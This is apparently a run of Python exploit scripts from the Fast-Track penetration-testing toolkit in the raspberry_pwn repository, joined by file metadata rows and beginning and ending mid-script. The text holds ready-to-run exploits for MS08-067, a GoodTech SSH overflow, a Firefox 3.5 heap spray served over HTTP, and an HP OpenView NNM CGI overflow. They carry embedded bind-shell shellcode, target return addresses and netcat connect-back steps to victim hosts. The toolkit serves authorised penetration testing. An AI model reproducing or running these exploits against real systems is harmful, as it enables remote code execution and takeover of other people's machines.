socket.socket ( socket.AF_INET, socket.SOCK_STREAM ) expl.connect((str(target), 7510)) expl.send(buffer) expl.close() print " [*] Egghunter working ..." print " [*] Check payload results - may take up to a minute." print " Waiting 60 seconds before starting netcat connect.." sleep(60) ncstart=os.popen2('xterm -T "HP OpenView Network Node Manager CGI Buffer Overflow" -e nc -nv %s 4444' % str(target))
5,080
Python
.py
96
51.260417
116
0.716126
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,388
ms08067.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/ms08067.py
#!/usr/bin/env python ############################################################################# # MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled) # www.hackingspirits.com # www.coffeeandsecurity.com # Email: d3basis.m0hanty @ gmail.com ############################################################################# import struct import sys import time import os import subprocess #from bin.include import print_banner from threading import Thread #Thread is imported incase you would like to modify #the src to run against multiple targets. try: from impacket import smb from impacket import uuid from impacket.dcerpc import dcerpc from impacket.dcerpc import transport except ImportError, _: print 'Install the following library to make this script work' print 'Impacket : http://oss.coresecurity.com/projects/impacket.html' print 'PyCrypto : http://www.amk.ca/python/code/crypto.html' print "\n\nExiting Fast-Track...\n\n" sys.exit(1) #print_banner() print '\n\n #################################################################' print ' # MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)' print ' # www.hackingspirits.com' print ' # www.coffeeandsecurity.com' print ' # Email: d3basis.m0hanty @ gmail.com' print ' # Minor modifications for Fast-Track by ReL1K ' print ' #################################################################\n' #Portbind shellcode from metasploit; Binds port to TCP port 4444 shellcode = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" shellcode += "\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9" shellcode += "\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56" shellcode += "\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22" shellcode += "\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30" shellcode += "\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81" shellcode += "\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42" shellcode += "\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22" shellcode += "\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9" shellcode += "\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79" shellcode += "\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab" shellcode += "\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa" shellcode += "\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48" shellcode += "\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1" shellcode += "\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0" shellcode += "\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe" shellcode += "\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9" shellcode += "\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84" shellcode += "\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56" shellcode += "\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8" shellcode += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79" shellcode += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6" shellcode += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9" #Payload for Windows 2000 target payload_1='\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00' payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41' payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41' payload_1+='\x41\x41' payload_1+='\x2f\x68\x18\x00\x8b\xc4\x66\x05\x94\x04\x8b\x00\xff\xe0' payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43' payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43' payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43' payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43' payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43' payload_1+='\xeb\xcc' payload_1+='\x00\x00' #Payload for Windows 2003[SP2] target payload_2='\x41\x00\x5c\x00' payload_2+='\x2e\x00\x2e\x00\x5c\x00\x2e\x00' payload_2+='\x2e\x00\x5c\x00\x0a\x32\xbb\x77' payload_2+='\x8b\xc4\x66\x05\x60\x04\x8b\x00' payload_2+='\x50\xff\xd6\xff\xe0\x42\x84\xae' payload_2+='\xbb\x77\xff\xff\xff\xff\x01\x00' payload_2+='\x01\x00\x01\x00\x01\x00\x43\x43' payload_2+='\x43\x43\x37\x48\xbb\x77\xf5\xff' payload_2+='\xff\xff\xd1\x29\xbc\x77\xf4\x75' payload_2+='\xbd\x77\x44\x44\x44\x44\x9e\xf5' payload_2+='\xbb\x77\x54\x13\xbf\x77\x37\xc6' payload_2+='\xba\x77\xf9\x75\xbd\x77\x00\x00' try: if sys.argv[2]=='1': #Windows 2000 Payload payload=payload_1 print '[-]Windows 2000 payload loaded' if sys.argv[2]=='2': #Windows 2003[SP2] Payload payload=payload_2 print '[-]Windows 2003[SP2] payload loaded' except IndexError: choice=raw_input(""" Enter the target: 1. Windows 2000 2. Windows 2003[SP2] <ctrl>-c to Cancel Enter the number: """) if choice=='1': payload=payload_1 osver=1 if choice=='2': payload=payload_2 osver=2 target=raw_input("\n Enter the IP Address to attack: ") class SRVSVC_Exploit(Thread): def __init__(self, target, osver, port=445): super(SRVSVC_Exploit, self).__init__() self.__port = port self.target = target self.osver = osver def __DCEPacket(self): print '[-]Initiating connection' try: self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target) self.__trans.connect() except Exception, e: print "\n Something went wrong. Might not be vulnerable..\n Printing error: "+str(e)+"\n\n Returning to exploits menu..." time.sleep(4) print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target self.__dce = self.__trans.DCERPC_class(self.__trans) self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0'))) # Constructing Malicious Packet self.__stub='\x01\x00\x00\x00' self.__stub+='\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00' self.__stub+=shellcode self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x00\x00\x00\x00' self.__stub+='\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00' self.__stub+=payload self.__stub+='\x00\x00\x00\x00' self.__stub+='\x02\x00\x00\x00\x02\x00\x00\x00' self.__stub+='\x00\x00\x00\x00\x02\x00\x00\x00' self.__stub+='\x5c\x00\x00\x00\x01\x00\x00\x00' self.__stub+='\x01\x00\x00\x00' return def run(self): self.__DCEPacket() self.__dce.call(0x1f, self.__stub) #0x1f (or 31)- NetPathCanonicalize Operation print "Waiting a few seconds before starting netcat connect.." time.sleep(4) # ncstart=os.popen2('xterm -T "MS08-067 Exploit for Fast-Track" -e nc -nv %s 4444' % (target)) connecting=subprocess.Popen("nc %s 4444" % (target), shell=True).wait() if __name__ == '__main__': try: target = sys.argv[1] osver = sys.argv[2] except Exception: pass current = SRVSVC_Exploit(target, osver) current.start()
7,612
Python
.py
157
43.77707
141
0.641416
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,389
goodtech1.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/goodtech1.py
#!/usr/bin/env python # # Goodtech SSH Remote Buffer Overflow Universal Exploit # Written by: ReL1K # Original exploit discovery by: r0ut3r # # # Tested on GoodTech 6.4 Windows 2003 SP0 and SP1 # # rel1k@box:~/$ python goodtech.py # Enter the IP or hostname of victim: 10.211.55.5 # Enter the username for server: administrator # Enter password for the server: password # Enter the following target: # # 1. Windows 2k3 SP0 # 2. Windows 2k3 SP1 # 3. Windows XP SP0 # 4. Windows XP SP1 # 5. Windows XP SP2 # 6. Windows 2000 SP3 # 7. Windows 2000 SP4 # 8. Windows NT SP6 # # Enter number: 1 # # +++ Sending evil payload... +++ # +++ Evil payload send.. +++ # Try connecting to victim on 4343 # rel1k@box:~/$ nc 10.211.55.5 4343 # Microsoft Windows [Version 5.2.3790] # (C) Copyright 1985-2003 Microsoft Corp. # # C:\Program Files\GoodTech SSH Server> # # ************** START CODE EXPLOIT HERE ********************** # Paramiko SSH Module used try: import paramiko import sys import subprocess import time except IndexError: print "Paramiko SSH Module not installed, download from:\n http://www.lag.net/paramiko/download/paramiko-1.7.4.tar.gz\nor in debian package is python-paramiko" print "\nExiting Fast-Track....\n\n" sys.exit() client=paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.MissingHostKeyPolicy()) buffer= "A"*164 # set victim IP print """ Goodtech SSH Remote Buffer Overflow Universal Exploit Written by: ReL1K Original exploit discovery by: r0ut3r Special Thanks: muts, stazz, whipsmack, sasquatch, leroy, hdm Example: +++ Sending evil payload... +++ +++ Evil payload send.. +++ Try connecting to victim on 4343 rel1k@box:~/$ nc 10.211.55.5 4343 Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C:\Program Files\GoodTech SSH Server> *** End Example *** """ hostname=raw_input("Enter the IP or hostname of victim: ") # set username username=raw_input("Enter the username for server: ") # set password password=raw_input("Enter password for the server: ") # define what windows version ver=raw_input(""" Enter the following target: 1. Windows 2k3 SP0 2. Windows 2k3 SP1 3. Windows XP SP0 4. Windows XP SP1 5. Windows XP SP2 6. Windows 2000 SP3 7. Windows 2000 SP4 8. Windows NT SP6 Enter number: """) if ver == '1': eip = "\xb4\xd6\x5d\x77" # call esp in Win2k3 SP0 shell32.dll if ver == '2': eip = "\x23\x14\xb5\7c" # call esp in Win2k3 SP1 shell32.dll if ver == '3': eip = "\x53\x8e\x43\x77" # call esp in WinXP SP0 shell32.dll if ver == '4': eip = "\xa3\x2e\x5a\x77" # call esp in WinXP SP1 shell32.dll if ver == '5': eip = "\xe3\x7b\xc7\x7c" # call esp in WinXP SP2 shell32.dll if ver == '6': eip = "\x9d\x01\x44\x78" # call esp in Win2000 SP3 shell32.dll if ver == '7': eip = "\xc5\xad\x48\x78" # call esp in Win2000 SP4 shell32.dll if ver == '8': eip = "\x91\x92\xc6\x77" # call esp in WinNT SP6 shell32.dll nopsled= "\x90"*20 # pad the buffer with nops # win32_bind - EXITFUNC=seh LPORT=4343 Size=344 Encoder=PexFnstenvSub http://metasploit.com shellcode= "\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xad" shellcode+= "\x98\x05\xdb\x83\xeb\xfc\xe2\xf4\x51\xf2\xee\x96\x45\x61\xfa\x24" shellcode+= "\x52\xf8\x8e\xb7\x89\xbc\x8e\x9e\x91\x13\x79\xde\xd5\x99\xea\x50" shellcode+= "\xe2\x80\x8e\x84\x8d\x99\xee\x92\x26\xac\x8e\xda\x43\xa9\xc5\x42" shellcode+= "\x01\x1c\xc5\xaf\xaa\x59\xcf\xd6\xac\x5a\xee\x2f\x96\xcc\x21\xf3" shellcode+= "\xd8\x7d\x8e\x84\x89\x99\xee\xbd\x26\x94\x4e\x50\xf2\x84\x04\x30" shellcode+= "\xae\xb4\x8e\x52\xc1\xbc\x19\xba\x6e\xa9\xde\xbf\x26\xdb\x35\x50" shellcode+= "\xed\x94\x8e\xab\xb1\x35\x8e\x9b\xa5\xc6\x6d\x55\xe3\x96\xe9\x8b" shellcode+= "\x52\x4e\x63\x88\xcb\xf0\x36\xe9\xc5\xef\x76\xe9\xf2\xcc\xfa\x0b" shellcode+= "\xc5\x53\xe8\x27\x96\xc8\xfa\x0d\xf2\x11\xe0\xbd\x2c\x75\x0d\xd9" shellcode+= "\xf8\xf2\x07\x24\x7d\xf0\xdc\xd2\x58\x35\x52\x24\x7b\xcb\x56\x88" shellcode+= "\xfe\xcb\x46\x88\xee\xcb\xfa\x0b\xcb\xf0\x15\x2c\xcb\xcb\x8c\x3a" shellcode+= "\x38\xf0\xa1\xc1\xdd\x5f\x52\x24\x7b\xf2\x15\x8a\xf8\x67\xd5\xb3" shellcode+= "\x09\x35\x2b\x32\xfa\x67\xd3\x88\xf8\x67\xd5\xb3\x48\xd1\x83\x92" shellcode+= "\xfa\x67\xd3\x8b\xf9\xcc\x50\x24\x7d\x0b\x6d\x3c\xd4\x5e\x7c\x8c" shellcode+= "\x52\x4e\x50\x24\x7d\xfe\x6f\xbf\xcb\xf0\x66\xb6\x24\x7d\x6f\x8b" shellcode+= "\xf4\xb1\xc9\x52\x4a\xf2\x41\x52\x4f\xa9\xc5\x28\x07\x66\x47\xf6" shellcode+= "\x53\xda\x29\x48\x20\xe2\x3d\x70\x06\x33\x6d\xa9\x53\x2b\x13\x24" shellcode+= "\xd8\xdc\xfa\x0d\xf6\xcf\x57\x8a\xfc\xc9\x6f\xda\xfc\xc9\x50\x8a" shellcode+= "\x52\x48\x6d\x76\x74\x9d\xcb\x88\x52\x4e\x6f\x24\x52\xaf\xfa\x0b" shellcode+= "\x26\xcf\xf9\x58\x69\xfc\xfa\x0d\xff\x67\xd5\xb3\x5d\x12\x01\x84" shellcode+= "\xfe\x67\xd3\x24\x7d\x98\x05\xdb" try: client.connect((hostname), 22, (username), (password)) try: print " +++ Sending evil payload... +++" sendbuffer=client.open_sftp() sendbuffer.open(buffer+eip+nopsled+shellcode) except IOError: pass print " +++ Evil payload send.. +++\nConnecting to victim on 4343 in 10 seconds...\n" client.close() time.sleep(10) connecting=subprocess.Popen("nc %s 4343" % (hostname), shell=True).wait() except KeyboardInterrupt: sys.exit() except Exception: print "Either the server doesn't exist or isn't vulnerable.."
5,326
Python
.py
136
37.411765
164
0.717677
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,390
firefox35.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/firefox35.py
#!/usr/bin/env python ###################################################### # # FireFox 3.5 Heap Spray (WIN, OSX, LINUX) # LINUX = Cause Crash # Smart Detection on Browser + OS # Originally discovered by: Simon Berry-Bryne # Pythonized by: David Kennedy (ReL1K) @ SecureState # ###################################################### from BaseHTTPServer import HTTPServer from BaseHTTPServer import BaseHTTPRequestHandler #from bin.include import print_banner class myRequestHandler(BaseHTTPRequestHandler): def do_GET(self): self.printCustomHTTPResponse(200) if self.path == "/": target=self.client_address[0] self.wfile.write(""" <html> <head> <title>Firefox 3.5 Vulnerability</title> Firefox 3.5 Heap Spray Exploit (WIN, OSX, LINUX) LINUX = Cause Crash Smart Detection on Browser + OS </br> Discovered by: SBerry aka Simon Berry-Byrne Pythonized: David Kennedy (ReL1K) at SecureState Bind Shell Port: 5500 </br> <div id="content"> <p> <FONT> </FONT> </p> <p> <FONT>Ihazacrashihazacrash</FONT></p> <p> <FONT>Ohnoesihazacrashhazcrash</FONT> </p> <p> <FONT>Aaaaahhhhh </FONT> </p> </div> <script language=JavaScript> // Initial detection for Firefox. if (navigator.userAgent.indexOf("Firefox") != -1) { // Detect Windows and Linux if (navigator.appVersion.indexOf("Win") !=-1) { // windows/shell_bind_tcp - 317 bytes http://www.metasploit.com LPORT=5500 encoding=shikata_ga_nai var shellcode= unescape("%u6afc%u4deb%uf9e8%uffff%u60ff%u6c8b%u2424%u458b%u8b3c%u057c%u0178%u8bef" + "%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca" + "%uc201%uf4eb%u543b%u2824%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01" + "%u2c03%u898b%u246c%u611c%u31c3%u64db%u438b%u8b30%u0c40%u708b%uad1c%u408b" + "%u5e08%u8e68%u0e4e%u50ec%ud6ff%u5366%u6866%u3233%u7768%u3273%u545f%ud0ff" + "%ucb68%ufced%u503b%ud6ff%u895f%u66e5%ued81%u0208%u6a55%uff02%u68d0%u09d9" + "%uadf5%uff57%u53d6%u5353%u5353%u5343%u5343%ud0ff%u6866%u7c15%u5366%ue189" + "%u6895%u1aa4%uc770%uff57%u6ad6%u5110%uff55%u68d0%uada4%ue92e%uff57%u53d6" + "%uff55%u68d0%u49e5%u4986%uff57%u50d6%u5454%uff55%u93d0%ue768%uc679%u5779" + "%ud6ff%uff55%u66d0%u646a%u6866%u6d63%ue589%u506a%u2959%u89cc%u6ae7%u8944" + "%u31e2%uf3c0%ufeaa%u2d42%u42fe%u932c%u7a8d%uab38%uabab%u7268%ub3fe%uff16" + "%u4475%ud6ff%u575b%u5152%u5151%u016a%u5151%u5155%ud0ff%uad68%u05d9%u53ce" + "%ud6ff%uff6a%u37ff%ud0ff%u578b%u83fc%u64c4%ud6ff%uff52%u68d0%uceef%u60e0" + "%uff53%uffd6%u41d0"); oneblock = unescape("%u0c0c%u0c0c"); } // Detect OSX and Firefox else if (navigator.appVersion.indexOf("Mac") !=-1) { // osx/x86/vforkshell_bind_tcp - 512 bytes http://www.metasploit.com LPORT=5500 var shellcode = unescape("%uc031%u5099%u5040%u5040%ub052%ucd61%u0f80%u7e82%u0000%u8900%u52c6"+ "%u5252%u0068%u1502%u897c%u6ae3%u5310%u5256%u68b0%u80cd%u6772%u5652%ub052%ucd6a%u7280%u525e%u"+ "5652%ub052%ucd1e%u7280%u8954%u31c7%u83db%u01eb%u5343%u5357%u5ab0%u80cd%u4372%ufb83%u7503%u31"+ "f1%u50c0%u5050%ub050%ucd3b%u9080%u3c90%u752d%ub009%ucd42%u8380%u00fa%u1774%uc031%u6850%u2f2f"+ "%u6873%u2f68%u6962%u896e%u50e3%u5350%ub050%ucd3b%u3180%u50c0%ue389%u5050%u5053%ub050%ucd07%u"+ "3180%u50c0%u4050%u80cd"); var oneblock = unescape("%u4141%u4141"); } // Detect Linux and Firefox else if (navigator.appVersion.indexOf("X11") !=-1) { // causes crash var shellcode = unescape("%u41%u41"); var oneblock = unescape("%u0d0d%u0d0d"); } else { window.location="about:blank" } } var fullblock = oneblock; while (fullblock.length<0x60000) { fullblock += fullblock; } sprayContainer = new Array(); for (i=0; i<600; i++) { sprayContainer[i] = fullblock + shellcode; } var searchArray = new Array() function escapeData(data) { var i; var c; var escData=''; for(i=0;i<data.length;i++) { c=data.charAt(i); if(c=='&' || c=='?' || c=='=' || c=='%' || c==' ') c = escape(c); escData+=c; } return escData; } function DataTranslator(){ searchArray = new Array(); searchArray[0] = new Array(); searchArray[0]["str"] = "blah"; var newElement = document.getElementById("content") if (document.getElementsByTagName) { var i=0; pTags = newElement.getElementsByTagName("p") if (pTags.length > 0) while (i<pTags.length) { oTags = pTags[i].getElementsByTagName("font") searchArray[i+1] = new Array() if (oTags[0]) { searchArray[i+1]["str"] = oTags[0].innerHTML; } i++ } } } function GenerateHTML() { var html = ""; for (i=1;i<searchArray.length;i++) { html += escapeData(searchArray[i]["str"]) } } DataTranslator(); GenerateHTML() </script> </body> </html>""") print ("\n\n[-] Exploit sent... [-]\n[-] Wait about 30 seconds and attempt to connect.[-]\n[-] Connect to IP Address: %s and port 5500 [-]" % (target)) def printCustomHTTPResponse(self, respcode): self.send_response(respcode) self.send_header("Content-type", "text/html") self.send_header("Server", "myRequestHandler") self.end_headers() httpd = HTTPServer(('', 80), myRequestHandler) #print_banner() print (""" ####################################################### # # FireFox 3.5 Heap Spray (WIN, OSX, LINUX) # LINUX = Cause Crash # Smart Detection on Browser + OS # Originally discovered by: Simon Berry-Bryne # Pythonized: David Kennedy (ReL1K) @ SecureState # ####################################################### """) print (" Listening on port 80.") print (" Have someone connect to you.") print ("\n <ctrl>-c to exit..") try: httpd.handle_request() httpd.serve_forever() except KeyboardInterrupt: print ("\n\n Exiting exploit...\n\n") raise KeyboardInterrupt
5,934
Python
.py
178
29.601124
163
0.659452
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,391
hpopenview.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/hpopenview.py
#!/usr/bin/env python import os import sys #from bin.include import print_banner #print_banner() choice=raw_input(""" Enter which version you want to target: All JMP ESP's are performed in User32.dll 1. Windows 2000 Service Pack 0 - JMP ESP 77D20738 2. Windows 2000 Service Pack 4 - JMP ESP 77e3c256 3. Windows 2003 Service Pack 0 and 1 - JMP ESP 77d20738 4. Windows XP SP2 - JMP ESP 77d8af0a Enter number: """) if choice == '1': choice=("\x38\x07\xD2\x77") print " JMP ESP set to: '\\x38\\x07\\xD2\\x77'" if choice == '2': choice=("\x56\xc2\xe3\x77") print " JMP ESP set to: '\\x56\\xc2\\xe3\\x77'" if choice == '3': choice=("\x38\x07\xd2\x77") print " JMP ESP set to: '\\x38\\x07\\xd2\\x77'" if choice == '4': choice=("\x0a\xaf\xd8\x77") print " JMP ESP set to: '\\x0a\\xaf\\xd8\\x77'" try: import socket import time try: target=sys.argv[4] except IndexError: target=raw_input("\n Enter the IP Address to attack: ") expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM ) print " [+] Connecting to "+target expl.connect ( ( target, 80) ) print " [+] Sending Evil Buffer to NNM CGI\n" buffer="GET /OvCgi/OpenView5.exe?Context=Snmp&Action=" buffer+="A"*5123 buffer+=(choice) buffer+="\x90"*32 # EXITFUNC=thread LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com */ buffer+=("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x48\x5a\x6a\x68" "\x58\x30\x41\x31\x50\x41\x42\x6b\x41\x41\x78\x32\x41\x42\x32\x42" "\x41\x30\x42\x41\x41\x58\x38\x41\x42\x50\x75\x6b\x59\x39\x6c\x50" "\x6a\x78\x6b\x30\x4d\x49\x78\x38\x79\x59\x6f\x4b\x4f\x39\x6f\x71" "\x70\x6e\x6b\x50\x6c\x67\x54\x67\x54\x4c\x4b\x72\x65\x65\x6c\x4c" "\x4b\x41\x6c\x36\x65\x42\x58\x46\x61\x4a\x4f\x6c\x4b\x70\x4f\x64" "\x58\x4c\x4b\x73\x6f\x47\x50\x76\x61\x7a\x4b\x50\x49\x6c\x4b\x55" "\x64\x4e\x6b\x54\x41\x7a\x4e\x65\x61\x6f\x30\x6d\x49\x6c\x6c\x4e" "\x64\x4f\x30\x71\x64\x35\x57\x49\x51\x4a\x6a\x56\x6d\x63\x31\x5a" "\x62\x5a\x4b\x79\x64\x77\x4b\x61\x44\x57\x54\x45\x78\x63\x45\x78" "\x65\x6c\x4b\x33\x6f\x44\x64\x53\x31\x48\x6b\x41\x76\x4c\x4b\x54" "\x4c\x30\x4b\x6e\x6b\x43\x6f\x45\x4c\x66\x61\x78\x6b\x66\x63\x76" "\x4c\x4c\x4b\x6c\x49\x42\x4c\x71\x34\x65\x4c\x50\x61\x48\x43\x50" "\x31\x6b\x6b\x30\x64\x4c\x4b\x50\x43\x70\x30\x4e\x6b\x31\x50\x64" "\x4c\x6c\x4b\x74\x30\x47\x6c\x6e\x4d\x6e\x6b\x63\x70\x75\x58\x63" "\x6e\x62\x48\x4c\x4e\x50\x4e\x74\x4e\x5a\x4c\x50\x50\x4b\x4f\x4b" "\x66\x30\x66\x30\x53\x33\x56\x73\x58\x66\x53\x30\x32\x75\x38\x70" "\x77\x53\x43\x54\x72\x33\x6f\x76\x34\x6b\x4f\x6e\x30\x62\x48\x6a" "\x6b\x38\x6d\x49\x6c\x67\x4b\x50\x50\x4b\x4f\x48\x56\x61\x4f\x6c" "\x49\x38\x65\x65\x36\x4b\x31\x4a\x4d\x47\x78\x43\x32\x32\x75\x73" "\x5a\x64\x42\x79\x6f\x38\x50\x75\x38\x7a\x79\x46\x69\x7a\x55\x6c" "\x6d\x66\x37\x59\x6f\x6e\x36\x76\x33\x30\x53\x30\x53\x50\x53\x51" "\x43\x42\x63\x70\x53\x51\x53\x53\x63\x4b\x4f\x4e\x30\x33\x56\x62" "\x48\x54\x51\x53\x6c\x61\x76\x52\x73\x4e\x69\x5a\x41\x6e\x75\x75" "\x38\x4d\x74\x66\x7a\x34\x30\x6a\x67\x32\x77\x6b\x4f\x79\x46\x51" "\x7a\x46\x70\x51\x41\x70\x55\x4b\x4f\x38\x50\x53\x58\x4e\x44\x4c" "\x6d\x66\x4e\x78\x69\x33\x67\x49\x6f\x6e\x36\x50\x53\x31\x45\x6b" "\x4f\x5a\x70\x75\x38\x4d\x35\x42\x69\x6b\x36\x30\x49\x71\x47\x79" "\x6f\x59\x46\x56\x30\x50\x54\x70\x54\x30\x55\x79\x6f\x48\x50\x4f" "\x63\x52\x48\x7a\x47\x70\x79\x59\x56\x54\x39\x51\x47\x59\x6f\x58" "\x56\x50\x55\x79\x6f\x58\x50\x52\x46\x73\x5a\x61\x74\x63\x56\x33" "\x58\x65\x33\x52\x4d\x4d\x59\x4b\x55\x33\x5a\x70\x50\x56\x39\x44" "\x69\x6a\x6c\x4d\x59\x59\x77\x71\x7a\x67\x34\x4c\x49\x7a\x42\x54" "\x71\x4b\x70\x79\x63\x4c\x6a\x4b\x4e\x52\x62\x64\x6d\x49\x6e\x30" "\x42\x56\x4c\x4d\x43\x4c\x4d\x72\x5a\x77\x48\x6c\x6b\x4c\x6b\x6c" "\x6b\x32\x48\x31\x62\x49\x6e\x6f\x43\x77\x66\x6b\x4f\x50\x75\x51" "\x54\x6b\x4f\x7a\x76\x61\x4b\x72\x77\x66\x32\x70\x51\x36\x31\x33" "\x61\x53\x5a\x65\x51\x72\x71\x61\x41\x30\x55\x41\x41\x79\x6f\x48" "\x50\x32\x48\x6c\x6d\x6e\x39\x45\x55\x58\x4e\x61\x43\x69\x6f\x6a" "\x76\x53\x5a\x39\x6f\x4b\x4f\x46\x57\x69\x6f\x6a\x70\x4e\x6b\x73" "\x67\x49\x6c\x6d\x53\x49\x54\x70\x64\x6b\x4f\x4b\x66\x61\x42\x6b" "\x4f\x48\x50\x33\x58\x4a\x4f\x58\x4e\x6d\x30\x35\x30\x33\x63\x4b" "\x4f\x6b\x66\x79\x6f\x58\x50\x68") buffer+="\r\n\r\n" expl.send (buffer) expl.close() print " [+] Payload Sent, ph33r." print " Waiting a few seconds before starting netcat connect.." time.sleep(4) ncstart=os.popen2('xterm -T "HP OpenView Network Node Manager CGI Buffer Overflow" -e nc -nv %s 4444' % (target)) print " If you were successful, you should have a shell in a seperate window.." time.sleep(4) except Exception, e: print "\n Something went wrong. Might not be vulnerable..\n Printing error: "+str(e)+"\n\n Returning to exploits menu..." time.sleep(4)
5,419
Python
.py
96
48.697917
134
0.636191
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,392
ibmcad.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/ibmcad.py
#!/usr/bin/env python import sys import os import socket import time #from bin.include import print_banner #print_banner() try: import psyco psyco.full() except ImportError: pass choice=raw_input(""" Enter which version you want to target: All JMP ESP's are performed in User32.dll 1. Windows 2000 Service Pack 0 - JMP ESP 77D20738 2. Windows 2000 Service Pack 4 - JMP ESP 77e3c256 3. Windows 2003 Service Pack 0 and 1 - JMP ESP 77d20738 4. Windows XP SP2 - JMP ESP 77d8af0a <ctrl>-c to Cancel Enter number: """) if choice == '1': choice=("\x38\x07\xD2\x77") print " JMP ESP set to: '\\x38\\x07\\xD2\\x77'" if choice == '2': choice=("\x56\xc2\xe3\x77") print " JMP ESP set to: '\\x56\\xc2\\xe3\\x77'" if choice == '3': choice=("\x38\x07\xd2\x77") print " JMP ESP set to: '\\x38\\x07\\xd2\\x77'" if choice == '4': choice=("\x0a\xaf\xd8\x77") print " JMP ESP set to: '\\x0a\\xaf\\xd8\\x77'" try: try: target=sys.argv[4] except IndexError: target=raw_input("\n Enter the IP Address to Attack: ") buffer="BirdsflyinghighyouknowhowIfeel" buffer+="SunintheskyyouknowhowIfeel" buffer+="ReeedsdriftinonbyyouknowhowIfeel" buffer+="ItsanewdawnItsanewdayItsanewlifeForme" 